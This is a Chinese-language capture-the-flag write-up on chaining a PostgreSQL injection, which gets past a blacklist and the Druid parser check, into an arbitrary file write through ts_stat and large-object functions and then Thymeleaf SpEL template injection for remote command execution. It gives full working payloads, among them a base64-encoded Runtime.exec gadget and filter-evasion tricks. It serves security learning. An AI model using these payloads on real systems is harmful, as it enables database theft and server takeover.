题目分析
Step 1 - 获取管理员密码
可以看到一个很明显的注入,但是会有两层过滤,第一个是 checkBlackList
函数,他有一份很长很长的黑名单几乎过滤了所有函数:
过了这个之后还有一个 check
函数:
1 | com.chatterbox.utils.SQLCheck#check |
此处的目标是需要让函数返回 true
,一共两处返回 true
,第一处是正常解析所有,第二处是在最后的 catch
中:
可以看到首先做了一次 sql
语法的解析,如果报错了就使用第二个解析器解析 SQL
语句,如果再报错就进入到 catch
语句块,我们首先进入 filter
函数看看:
可以看到如果我们成功进入到这个函数的话,只需要在 SQL
语句包含 USER_DEFINE
就能够让整个 check
函数都返回 true
了。
那么现在只需要知道如何进入 catch
语句块,回到 checkValid
函数。
此时就会有一个想法:
如果我们能让两个解析器都报错,就会进入最后的 catch
,但是同时我们构造的语句也必须要能够在数据库中正常执行。
此时我们就可以翻看解析引擎的一些实现不完全的点了
第一个引擎比较简单,我们直接看第二个点:
1 | List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL); |
直接揭晓答案:
1 | username=1'||((WITH USER_DEFINE AS (values(1))values(1)))||'&passwd= |
函数位置如下:
1 | com.alibaba.druid.sql.parser.SQLSelectParser#parseWith |
此处应该预期接受 SELECT
或者剩下三个常量,拿 SELECT
举例,正常来说,应该是如下:
1 | select 1 from message_users where 1=1||((WITH USER_DEFINE AS (select(1))select(1))) |
但是我们把 select 1
换成 values(1)
,由于获取到的跟预期不符就会导致报错。
然后回到 login
登陆函数:
可以看到如果 SQL
报错了会丢出异常并且甚至会显示在页面上。
所以答案就很简单了,可以直接使用类型转换的报错方法打印出密码:
1 | username=1'||((passwd)::numeric)||((WITH USER_DEFINE AS (values(1))values(1)))||'&passwd= |
Step 2 - 任意文件写
进入后台后可以看到还有两个路由:/post_message
、/notify
/notify
很明显是需要输入一个模板文件名,利用模板注入完成 RCE
此时就需要把模板内容写入某个文件中再去触发 /notify
。
先来看看 /post_message
:
通常来说,PG_SQL
写入模板可以使用 lo_from_bytea
和 lo_export
两个函数:
1 | SELECT lo_from_bytea(1,'test123'); |
但是此处也有黑名单过滤并且把 export
也过滤掉了。
几乎所有师傅使用的方法都是 query_to_xml
,他的第一个参数可以接受一个 SQL
语句,由于是字符串形式所以可以直接使用拼接的方法绕过任何黑名单。
此处介绍另外一个功能类似的函数:ts_stat
,这个函数没什么特殊的,也是接受一个字符串作为表达式进行执行:
此时就很简单了,直接写个文件测试下:
在后台留言板输入如下:
1 | '||ts_stat('SE'||'LECT to_tsvecto'||'r(''engli'||'sh'',lo_fr'||'om_b'||'y'||'tea(10,''hahaha'')::text)')||' |
注意这里的 10
是 oid
,不能重复的。
此时就会多出一个留言信息:(10,1,1)
,说明注入成功了。
然后再写入一条:
1 | '||ts_stat('SE'||'LECT to_tsvecto'||'r(''engl'||'i'||'sh'',lo_expo'||'rt(10, ''/tmp/aaaaa1.txt'')::text)')||' |
此时容器内就会发现写入成功了:
Step 3 - 模板引擎绕过
文件名的绕过
接下来就可以专注在 thymeleaf
的模板引擎绕过了,看看这里的代码:
值得一提的是,如果用的是 jd-gui
反编译的话,就会出现一个问题:
此处显示的和实际代码是不一样的,显示的是 Prefix +。Prefix + fname
继续讨论绕过,在这有两个点:
- 过滤了
../
这个字符串,看似好像禁止目录穿越 Prefix
初始是file:///non_exists/
,这个提示的意思就是目录是不存在
但是其实很简单,看这行代码:
1 | InputStream inputStream = this.applicationContext.getResource(this.templatePrefix + fname + this.templateSuffix).getInputStream(); |
Debug
往下走,会发现调用路径如下:
1 | org.springframework.context.support.GenericApplicationContext#getResource |
这里将 \
替换成了 /
,然后下面还会替换掉 ../
把上一层 non_exists
替换掉。
如果往下继续跟还会发现可以使用类似 ..\a.txt?
的方法绕过后缀
这是因为此处的处理是将文件名当做一个 URI
处理了,所以会做一些归一化的操作。
RCE
此处还有一个小过滤就是不能输入以下四个:<
、>
、org.apache
、org.spring
接下来就到了最重要的地方,RCE
:
1 | String result = this.getTemplateEngine().process(fname, new Context()); |
大部分师傅使用的都是:
1 | [[${xxxxx}]] |
翻翻文档可以看到:
可以看到这样就相当于绕过了 <>
,剩下就是找依赖中一些 类/函数 绕过 thymeleaf
的内置黑名单了。
此处给师傅们分享另外一种方法,在 process
后面会发现直接把数据 return
了:
1 | String result = this.getTemplateEngine().process(fname, new Context()); |
而这个方法是没有 ResponseBody
注解的
此处可以想到之前 panda
师傅分享的文章:
https://www.cnpanda.net/sec/1063.html
只不过在最新版中还是做了一些修复的,比如像是 T%20(
应该就不能再使用了
让我们来到这个函数:
1 | org.thymeleaf.spring6.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam |
可以在本地新建文件,然后把我们的模板文件内容改为:
1 | __${T (abcd) }__::x |
此处isPreviousStaticMarker
就是判断 T
左边是否是 (
:
1 | org.thymeleaf.spring6.util.SpringStandardExpressionUtils#isPreviousStaticMarker |
同时这里跳过了所有空格,所以 T%20(
就不太能用了。
当这个函数返回 true
就要抛出异常了
这个过滤函数不止判断了 T(
,还判断了 new xx
:
此处也是判断 new
后面不能为空格。
这里看起来是无懈可击的(应该),那么绕过点在哪里呢
来到 thymeleaf
解析 new
关键字的地方:
1 | org.springframework.expression.spel.standard.InternalSpelExpressionParser#maybeEatConstructorReference |
比如我输入 new java.lang.String()
:
这个 possiblyQualifiedConstructorName
就是类名了,跟入这个函数:
1 | org.springframework.expression.spel.standard.InternalSpelExpressionParser#eatPossiblyQualifiedId |
这里判断如果是 ValidQualifiedId
并且不是 .
就 add
进 qualifiedIdPieces
,这个就是返回的类名
看看 isValidQualifiedId
:
两个类型:
一个 DOT
(就是 .
)
第二个是普通的 IDENTIFIER
,就是不在单双引号里面的一些字母数字啥的
很重要的一点,他会跳过 DOT
符号,比如:
在其中输入很多 .
,效果也是一样的:
刚刚上面提到的过滤是:不能使用 new%20
,可没说不能使用new.
于是我们就可以写出这样的模板:
1 | __${new.java..lang...String()}__::x |
接下来就是刚刚提到的找一些类绕过内置黑名单了。
这个是我的:
1 | __${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","touch /tmp/xxbb",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__::x |
总的来说就是使用 org..apache.tomcat.util.IntrospectionUtils
类去调用方法最终执行Runtime.getRuntime().exec
。
题解
第一步注入密码:
1 | username=1'||((passwd)::numeric)||((WITH USER_DEFINE AS (values(1))values(1)))||'&passwd= |
第二步,写入 oid
:
将上面模板执行的命令改成 ``/readflag | tee -a /tmp/flag_res`
base64
编码然后断开一些黑名单的字符:
1 | '|| ts_stat('SE'||'LECT to_tsvecto'||'r(''engli'||'sh'',lo_fr'||'om_b'||'y'||'tea(10,decode(''X18ke25ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmNhbGxNZXRob2ROKG5ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmNhbGxNZXRob2ROKG5ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmZpbmRNZXRob2QobmV3Lm9yZy4uc3B'||'yaW5nZnJhbWV3b3JrLmluc3RydW1lbnQuY2xhc3Nsb2FkaW5nLlNoYWRvd2luZ0NsYXNzTG9hZGVyKG5ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmxvYWRDbGFzcygiamF2YS5sYW5nLlJ1bnRpbWUiKSwiZ2V0UnVudGltZSI'||'sbnVsbCksImludm9rZSI'||'se251bGwsbnVsbH0se25ldy5vcmcuLnNwcmluZ2ZyYW1ld29yay5pbnN0cnVtZW50LmNsYXNzbG9hZGluZy5TaGFkb3dpbmdDbGFzc0xvYWRlcihuZXcub3JnLi5hcGFjaGUudG9tY2F0LnV0aWwuSW50cm9zcGVjdGlvblV0aWxzKCkuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5sb2FkQ2xhc3MoImphdmEubGFuZy5PYmplY3QiKSxuZXcub3JnLi5zcHJpbmdmcmFtZXdvcmsuaW5zdHJ1bWVudC5jbGFzc2xvYWRpbmcuU2hhZG93aW5nQ2xhc3NMb2FkZXIobmV3Lm9yZy4uYXBhY2hlLnRvbWNhdC51dGlsLkludHJvc3BlY3Rpb25VdGlscygpLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkubG9hZENsYXNzKCJvcmcuIi'||'sidGh5bWVsZWFmLnV0aWwuQ2xhc3NMb2FkZXJVdGlscyIpLmxvYWRDbGFzcygiW0xqYXZhLmxhbmcuT2JqZWN0OyIpfSksImV4ZWMiLCJzaCAtYyAkQHxzaCAuIGVjaG8gL3JlYWRmbGFnfHRlZSAtYSAvdG1wL2ZsYWdfcmVzIixuZXcub3JnLi5zcHJpbmdmcmFtZXdvcmsuaW5zdHJ1bWVudC5jbGFzc2xvYWRpbmcuU2hhZG93aW5nQ2xhc3NMb2FkZXIobmV3Lm9yZy4uYXBhY2hlLnRvbWNhdC51dGlsLkludHJvc3BlY3Rpb25VdGlscygpLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkubG9hZENsYXNzKCJqYXZhLmxhbmcuU3RyaW5nIikpfV9fOjp4'',''base64''))::text)')||' |
第三步写出文件:
1 | '||ts_stat('SE'||'LECT to_tsvecto'||'r(''engl'||'i'||'sh'',lo_expo'||'rt(10, ''/tmp/hack.html'')::text)')||' |
第四步触发模板:
访问路由:
1 | /notify?fname=..%5ctmp/hack |
此处会返回 500
,是正常的
第五步读取文件:
(其实可以直接在执行命令的时候将 flag
带出网)
1 | '||ts_stat('se'||'lect T'||'O_TSVECTO'||'R(''engli'||'sh'',enc'||'ode(P'||'G_READ_FI'||'LE(''/tmp/flag_res'')::b'||'y'||'tea,''he'||'x''))')||' |
得到 flag
的 hex
编码
结束啦~~~